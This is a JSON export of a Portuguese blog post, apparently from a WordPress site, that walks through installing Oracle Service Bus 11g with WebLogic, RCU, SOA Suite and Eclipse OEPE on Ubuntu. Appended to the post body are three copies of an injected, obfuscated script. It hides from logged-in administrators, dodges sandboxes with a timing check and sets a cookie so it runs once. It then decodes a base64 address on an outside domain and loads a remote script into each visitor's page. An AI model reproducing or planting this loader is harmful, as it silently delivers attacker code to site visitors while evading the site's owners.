{"id":1029,"date":"2011-01-27T07:24:17","date_gmt":"2011-01-27T09:24:17","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1029"},"modified":"2025-10-26T22:41:29","modified_gmt":"2025-10-27T01:41:29","slug":"oracle-service-bus","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/01\/27\/oracle-service-bus\/","title":{"rendered":"Oracle Service Bus"},"content":{"rendered":"<p style=\"text-align: justify;\">O <a title=\"Oracle Service Bus\" href=\"http:\/\/www.oracle.com\/technetwork\/middleware\/service-bus\/overview\/index.html\" target=\"_blank\" rel=\"noopener\">Oracle Service Bus<\/a> \u00e9 utilizado para conectar, mediar e administrar intera\u00e7\u00f5es entre servi\u00e7os e aplica\u00e7\u00f5es. Ele est\u00e1 dispon\u00edvel para <a title=\"Download OSB\" href=\"http:\/\/www.oracle.com\/technetwork\/middleware\/service-bus\/downloads\/index.html\" target=\"_blank\" rel=\"noopener\">download no site da Oracle<\/a> junto com suas depend\u00eancias.<\/p>\n<p style=\"text-align: justify;\">Nesse artigo vamos utilizar a vers\u00e3o generic 11.1.1.4.0, pois estamos interessados em subir o OSB utilizando uma JVM 64 bits. Para a instalar o OSB, \u00e9 necess\u00e1rio ter uma base de dados instalada, o WLS, o RCU, o Eclipse OEPE e o SOA Suite. Caso voc\u00ea esteja utilizando a vers\u00e3o 11.1.1.3.0, a instala\u00e7\u00e3o do SOA Suite pode ser encontrada <a title=\"Oracle SOA e BPM Suite\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/12\/23\/oracle-soa-e-bpm-suite\/\">aqui<\/a>.<\/p>\n<p style=\"text-align: justify;\">Estou fazendo a instala\u00e7\u00e3o em um Ubuntu 10.10 64 bits com Oracle XE e com os requisitos m\u00ednimos para o funcionamento do SOA Suite. Caso tenha algum problema no decorrer da instala\u00e7\u00e3o, verifique as configura\u00e7\u00f5es feitas <a title=\"Oracle SOA e BPM Suite\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/12\/23\/oracle-soa-e-bpm-suite\/\" target=\"_blank\" rel=\"noopener\">nesse artigo<\/a><a title=\"Oracle SOA e BPM Suite\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/12\/23\/oracle-soa-e-bpm-suite\/\" target=\"_blank\" rel=\"noopener\"><\/a>. O primeiro passo \u00e9 instalar o WLS 10.3.4. Fa\u00e7a o download do JAR de instala\u00e7\u00e3o e execute-o:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\njava -jar wls1034_generic.jar\n<\/pre>\n<p style=\"text-align: justify;\">Clique em Next, selecione Create a new Middleware Home, especifique o diret\u00f3rio de instala\u00e7\u00e3o e clique em Next. Informe o seu e-mail e senha de suporte (se tiver) e clique em Next. Selecione Typical para a instala\u00e7\u00e3o padr\u00e3o ou Custom se deseja alterar algum componente ou incluir exemplos do Coherence e WLS. Escolha ou busque por uma nova instala\u00e7\u00e3o do Java e clique em Next. Especifique o diret\u00f3rio de instala\u00e7\u00e3o do WLS e do Coherence e clique em Next. Verifique o resumo da Instala\u00e7\u00e3o e clique em Next.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<figure id=\"attachment_1032\" aria-describedby=\"caption-attachment-1032\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Installer-WebLogic-10.3.4.0.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1032 \" title=\"Oracle Installer - WebLogic 10.3.4.0\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Installer-WebLogic-10.3.4.0-300x215.png\" alt=\"Oracle Installer - WebLogic 10.3.4.0\" width=\"300\" height=\"215\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Installer-WebLogic-10.3.4.0-300x215.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Installer-WebLogic-10.3.4.0.png 600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1032\" class=\"wp-caption-text\">Oracle Installer - WebLogic 10.3.4.0<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Aguarde a instala\u00e7\u00e3o e clique em Finish. Instala\u00e7\u00e3o do WLS conclu\u00edda.<\/p>\n<p style=\"text-align: justify;\">Agora \u00e9 a hora de configurar a base. Para isso utilizamos o RCU, como n\u00e3o existe uma vers\u00e3o gen\u00e9rica, \u00e9 necess\u00e1rio instalar uma espec\u00edfica, caso seu sistema operacional n\u00e3o seja suportado, voc\u00ea pode execut\u00e1-lo de outra m\u00e1quina, sendo apensa necess\u00e1rio especificar o ip e a porta da localiza\u00e7\u00e3o do banco de dados. Apesar do meu Linux ser 64 bits, a vers\u00e3o 32 bits do RCU funciona sem maiores problemas. Decompacte o RCU e execute-o:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n.\/rcuHome\/bin\/rcu\n<\/pre>\n<p style=\"text-align: justify;\">Clique em Next, escolha a op\u00e7\u00e3o Create e clique em Next. Informe os dados de conex\u00e3o e clique em Next.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<figure id=\"attachment_1034\" aria-describedby=\"caption-attachment-1034\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Repository-Creation-Utility-Step-2-of-7-Database-Connection-Details.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1034 \" title=\"Repository Creation Utility - Step 2 of 7 : Database Connection Details\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Repository-Creation-Utility-Step-2-of-7-Database-Connection-Details-300x225.png\" alt=\"Repository Creation Utility - Step 2 of 7 : Database Connection Details\" width=\"300\" height=\"225\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Repository-Creation-Utility-Step-2-of-7-Database-Connection-Details-300x225.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Repository-Creation-Utility-Step-2-of-7-Database-Connection-Details.png 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1034\" class=\"wp-caption-text\">Repository Creation Utility - Step 2 of 7 : Database Connection Details<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ir\u00e1 aparecer uma mensagem que n\u00e3o \u00e9 uma vers\u00e3o suportada de banco de dados, clique em Ignore. Isso ocorre porque o XE n\u00e3o \u00e9 uma vers\u00e3o suportada pela RCU. Clique em OK. Escolha os componentes que deseja instalar. Para o XE as op\u00e7\u00f5es Oracle Identity Manager, Oracle Adaptive Access Manager e AS Common Schemas\/Enterprise Scheduler Service n\u00e3o funcionam corretamente. Para agilizar voc\u00ea tamb\u00e9m pode desmarcar a op\u00e7\u00e3o Portal. Esses esquemas podem ser criados posteriormente e removidos tamb\u00e9m utilizando novamente o RCU. Caso voc\u00ea j\u00e1 tenha uma base RCU anterior (que \u00e9 o meu caso), altere o prefixo da nova, selecionando Create a new Prefix e especifique um diferente do existente e clique em Next.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<figure id=\"attachment_1046\" aria-describedby=\"caption-attachment-1046\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Repository-Creation-Utility-Step-3-of-7-Select-Components.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1046 \" title=\"Repository Creation Utility - Step 3 of 7 : Select Components\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Repository-Creation-Utility-Step-3-of-7-Select-Components-300x225.png\" alt=\"Repository Creation Utility - Step 3 of 7 : Select Components\" width=\"300\" height=\"225\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Repository-Creation-Utility-Step-3-of-7-Select-Components-300x225.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Repository-Creation-Utility-Step-3-of-7-Select-Components.png 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1046\" class=\"wp-caption-text\">Repository Creation Utility - Step 3 of 7 : Select Components<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique OK para continuar. Especifique uma senha para os esquemas e clique em Next. Entre com as configura\u00e7\u00f5es para as vari\u00e1veis e clique em Next. Como a base XE possui limite na cria\u00e7\u00e3o das tablespaces, voc\u00ea deve alterar o tamanho para valores menores. Clique em Manage Tablespaces e selecione cada tablespace para que o \"SIZE(MB)\" n\u00e3o ultrapasse os 4GB. Algumas tablespaces possuem limite m\u00ednimo de tamanho. Uma solu\u00e7\u00e3o mais f\u00e1cil \u00e9 remover instala\u00e7\u00f5es anteriores de SOA Suite pelo pr\u00f3prio RCU (op\u00e7\u00e3o Drop) ou outros tablespaces da base. Ap\u00f3s configurar os tablespaces, clique em Next e Create. Aguarde um bom tempo para cria\u00e7\u00e3o das tabelas e clique em Close.<\/p>\n<p style=\"text-align: justify;\">Base configurada, o pr\u00f3ximo passo \u00e9 a instala\u00e7\u00e3o do SOA Suite.Descompacte os dois arquivos do SOA. Execute o arquivo runInstaller do arquivo1\/disco 1.<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n.\/Disk1\/runInstaller\n<\/pre>\n<p style=\"text-align: justify;\">Informe a localiza\u00e7\u00e3o do JDK. Aguarde o carregamento do instalador. Clique em Next. Informe seu usu\u00e1rio e senha para updates ou selecione Skip Software Updates e clique em Next. Se o seu sistema operacional n\u00e3o for certificado, clique em Continue, caso contr\u00e1rio, clique em Next. Especifique o Middleware Home para o mesmo caminho da instala\u00e7\u00e3o do WLS e clique em Next.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<figure id=\"attachment_1037\" aria-describedby=\"caption-attachment-1037\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Suite-Installation-Step-5-of-8.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1037 \" title=\"Oracle Fusion Middleware 11g SOA Suite Installation - Step 5 of 8\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Suite-Installation-Step-5-of-8-300x241.png\" alt=\"Oracle Fusion Middleware 11g SOA Suite Installation - Step 5 of 8\" width=\"300\" height=\"241\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Suite-Installation-Step-5-of-8-300x241.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Fusion-Middleware-11g-SOA-Suite-Installation-Step-5-of-8.png 653w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1037\" class=\"wp-caption-text\">Oracle Fusion Middleware 11g SOA Suite Installation - Step 5 of 8<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Verifique se foi encontrado o WLS. Nessa nova vers\u00e3o existe o suporte ao IBM Websphere tamb\u00e9m. Clique em Next. Clique em Install e aguarde a instala\u00e7\u00e3o. Informe a localiza\u00e7\u00e3o do disco 3 se voc\u00ea descompactou em diret\u00f3rios diferentes.<\/p>\n<figure id=\"attachment_1039\" aria-describedby=\"caption-attachment-1039\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Disk-change-dialog.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1039 \" title=\"Disk change dialog\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Disk-change-dialog-300x120.png\" alt=\"Disk change dialog\" width=\"300\" height=\"120\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Disk-change-dialog-300x120.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Disk-change-dialog.png 466w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1039\" class=\"wp-caption-text\">Disk change dialog<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Fa\u00e7a o mesmo com o disco 4 e 5. Clique em Next e Finish para finalizar a instala\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">Fa\u00e7a o <a title=\"Download Eclipse OEPE\" href=\"http:\/\/www.oracle.com\/technetwork\/developer-tools\/eclipse\/downloads\/index.html\" target=\"_blank\" rel=\"noopener\">download do Eclipse OEPE<\/a> para sua plataforma. Descompacte o arquivo em uma pasta de sua prefer\u00eancia. Eu coloquei dentro da pasta Middleware mesmo.<\/p>\n<p style=\"text-align: justify;\">Fa\u00e7a o download do Oracle Service Bus, descompacte o arquivo e execute o instalador.<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n.\/Disk1\/runInstaller\n<\/pre>\n<p style=\"text-align: justify;\">Especifique o caminho do JDK e aguarde a abertura do instalador. Clique em Next. Informe seu e-mail e senha do suporte para atualiza\u00e7\u00f5es ou selecione Skip Software Updates e clique em Next. Especifique o Middleware Home (o mesmo do WLS e SOA Suite), clique em Next. Escolha a op\u00e7\u00e3o Typical para a instala\u00e7\u00e3o do OSB no ORACLE_HOME ou custom para alterar o local de instala\u00e7\u00e3o e clique em Next. Se o seu sistema operacional n\u00e3o for certificado, clique em Continue, caso contr\u00e1rio, clique em Next. Informe a localiza\u00e7\u00e3o do WLS e do OEPE e clique em Next.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<figure id=\"attachment_1042\" aria-describedby=\"caption-attachment-1042\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Service-Bus-11g-Installation-Step-7-of-9.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1042 \" title=\"Oracle Service Bus 11g Installation - Step 7 of 9\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Service-Bus-11g-Installation-Step-7-of-9-300x241.png\" alt=\"Oracle Service Bus 11g Installation - Step 7 of 9\" width=\"300\" height=\"241\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Service-Bus-11g-Installation-Step-7-of-9-300x241.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Service-Bus-11g-Installation-Step-7-of-9.png 653w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1042\" class=\"wp-caption-text\">Oracle Service Bus 11g Installation - Step 7 of 9<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Verifique o resumo e clique em Install. Aguarde a instala\u00e7\u00e3o e clique em Next e Finish para finalizar.<\/p>\n<p style=\"text-align: justify;\">Pronto! Produtos instalados, agora vamos \u00e0 cria\u00e7\u00e3o do dom\u00ednio. Voc\u00ea realizar essa tarefa executando o script: <em>&lt;DIR DO SOA SUITE&gt;\/Middleware\/wlserver_10.3\/common\/bin\/config.sh<\/em> ou pelo OEPE. Como foi instalado o OEPE, n\u00f3s vamos realizar e configurar o dom\u00ednio por ele. Para essa etapa, abra o OEPE, executando o arquivo eclipse dentro da pasta do OEPE. Escolha o workspace e ap\u00f3s abrir o Eclipse, selecione Window, Show View, Other... digite Servers, selecione o resultado e clique OK. Na nova view aberta, clique com o bot\u00e3o direito, New, Server. Escolha a op\u00e7\u00e3o Oracle WebLogic Server 11gR1 PatchSet 3 e clique em Next.<\/p>\n<p style=\"text-align: justify;\">&nbsp;<\/p>\n<figure id=\"attachment_1044\" aria-describedby=\"caption-attachment-1044\" style=\"width: 274px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-New-Server.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1044 \" title=\"New Server\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-New-Server-274x300.png\" alt=\"New Server\" width=\"274\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-New-Server-274x300.png 274w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-New-Server.png 502w\" sizes=\"auto, (max-width: 274px) 100vw, 274px\" \/><\/a><figcaption id=\"caption-attachment-1044\" class=\"wp-caption-text\">New Server<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique no link: Click here to launch Configuration Wizard to create a new domain. Na nova janela aberta, selecione Create a new Weblogic domain, clique em Next. Nessa tela h\u00e1 a op\u00e7\u00e3o para developers. Essa op\u00e7\u00e3o \u00e9 ideal para criar um \u00fanico servidor ao inv\u00e9s de um admin server e outro managed. Essa op\u00e7\u00e3o \u00e9 altamente n\u00e3o recomendada em produ\u00e7\u00e3o, mas facilita bastante no desenvolvimento e consumo de mem\u00f3ria. O SOA Suite n\u00e3o \u00e9 obrigat\u00f3rio, mas como eu vou utilizar em meus projetos, configurei ele no meu dom\u00ednio. Ent\u00e3o minha configura\u00e7\u00e3o foi a seguinte:<\/p>\n<ul>\n<li>Basic Weblogic Server Domain<\/li>\n<li>Oracle SOA Suite for developers<\/li>\n<li>Oracle Service Bus OWSM Extension<\/li>\n<li>Oracle Enterprise Manager<\/li>\n<li>Oracle Service Bus for developers<\/li>\n<li>Weblogic Advanced Web Services for JAX-RPC Extension<\/li>\n<li>Oracle WSM Policy Manager<\/li>\n<li>Oracle JRF<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Clique em Next.<\/p>\n<figure id=\"attachment_1045\" aria-describedby=\"caption-attachment-1045\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Fusion-Middleware-Configuration-Wizard-4.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1045 \" title=\"Fusion Middleware Configuration Wizard\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Fusion-Middleware-Configuration-Wizard-4-300x215.png\" alt=\"Fusion Middleware Configuration Wizard\" width=\"300\" height=\"215\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Fusion-Middleware-Configuration-Wizard-4-300x215.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Fusion-Middleware-Configuration-Wizard-4.png 780w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1045\" class=\"wp-caption-text\">Fusion Middleware Configuration Wizard<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Especifique o nome do dom\u00ednio e as localiza\u00e7\u00f5es do dom\u00ednio e aplica\u00e7\u00f5es. Clique em Next. Insira o nome do usu\u00e1rio administrador e sua senha, clique em Next. Selecione o startup mode (Development mode, no meu caso), o JDK e clique em Next. Configure as bases com o que foi feito na etapa do RCU e clique em Next. Ignore o teste do OSB JMS Reporting Provider se voc\u00ea estiver utilizando a base de demonstra\u00e7\u00e3o (derby). Clique em Next, Next e Create. Ap\u00f3s a cria\u00e7\u00e3o, clique em Done.<\/p>\n<p style=\"text-align: justify;\">Voltando ao Eclipse OEPE, coloque o Domain Directory do dom\u00ednio que foi criado e clique em Finish. Para iniciar o dom\u00ednio \u00e9 s\u00f3 selecionar com o bot\u00e3o direito e clicar em Start.<\/p>\n<p style=\"text-align: justify;\">Se ao iniciar o dom\u00ednio voc\u00ea tiver algum erro parecido com esse:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\noracle.mds.lcm.exception.MDSLCMException: MDS-01330: unable to load MDS configuration document\nMDS-01329: unable to load element &amp;amp;amp;quot;persistence-config&amp;amp;amp;quot;\nMDS-01370: MetadataStore configuration for metadata-store-usage &amp;amp;amp;quot;soa-infra-store&amp;amp;amp;quot; is invalid.\nORA-04063: package body &amp;amp;amp;quot;DEV_MDS.MDS_INTERNAL_SHREDDED&amp;amp;amp;quot; has errors\nORA-06508: PL\/SQL: could not find program unit being called: &amp;amp;amp;quot;DEV_MDS.MDS_INTERNAL_SHREDDED&amp;amp;amp;quot;\nORA-06512: at line 1\n<\/pre>\n<p style=\"text-align: justify;\">\u00c9 s\u00f3 voc\u00ea recompilar as packages do pacote que est\u00e1 com erro. No caso acima \u00e9 o DEV_MDS.MDS_INTERNAL_SHREDDED, mas tamb\u00e9m tive na DEV_MDS.MDS_INTERNAL_COMMON e DEV_MDS.MDS_INTERNAL_UTILS. Por algum motivo eles n\u00e3o s\u00e3o compilados no Oracle XE na instala\u00e7\u00e3o (RCU). Acesse: http:\/\/localhost:7001\/sbconsole para verificar se a instala\u00e7\u00e3o e cria\u00e7\u00e3o do dom\u00ednio foi bem sucedida.<\/p>\n<p style=\"text-align: center;\">&nbsp;<\/p>\n<figure id=\"attachment_1052\" aria-describedby=\"caption-attachment-1052\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Service-Bus-Dashboard-SLA-Alerts-Mozilla-Firefox.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1052 \" title=\"Oracle Service Bus : Dashboard - SLA Alerts - Mozilla Firefox\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Service-Bus-Dashboard-SLA-Alerts-Mozilla-Firefox-300x186.png\" alt=\"Oracle Service Bus : Dashboard - SLA Alerts - Mozilla Firefox\" width=\"300\" height=\"186\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Service-Bus-Dashboard-SLA-Alerts-Mozilla-Firefox-300x186.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/01\/Screenshot-Oracle-Service-Bus-Dashboard-SLA-Alerts-Mozilla-Firefox.png 937w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1052\" class=\"wp-caption-text\">Oracle Service Bus : Dashboard - SLA Alerts - Mozilla Firefox<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Outra recomenda\u00e7\u00e3o \u00e9 configurar o Listen Address do weblogic acessando o console: http:\/\/localhost:7001\/console dentro do n\u00f3 Environment\/Servers do seu dom\u00ednio para um IP e alterar o localhost do Eclipse para esse mesmo IP. Se aparecer a mensagem <em>[ERROR] AdapterManager - ServletContainerAdapter manager not initialized correctly <\/em>no log, pode ignorar, pois \u00e9 um bug conhecido que consiste na exibi\u00e7\u00e3o incorreta dessa mensagem.<\/p>\n<p style=\"text-align: justify;\">Com a instala\u00e7\u00e3o do OSB, tamb\u00e9m foi configurado o plugin do OSB no OEPE. Agora \u00e9 s\u00f3 come\u00e7ar o desenvolvimento. O Hello World fica para um pr\u00f3ximo post! \ud83d\ude42<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O Oracle Service Bus \u00e9 utilizado para conectar, mediar e administrar intera\u00e7\u00f5es entre servi\u00e7os e aplica\u00e7\u00f5es. Ele est\u00e1 dispon\u00edvel para download no site da Oracle junto com suas depend\u00eancias. Nesse artigo vamos utilizar a vers\u00e3o generic 11.1.1.4.0, pois estamos interessados <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/01\/27\/oracle-service-bus\/\">Continue lendo  <span class=\"screen-reader-text\">  Oracle Service Bus<\/span><span 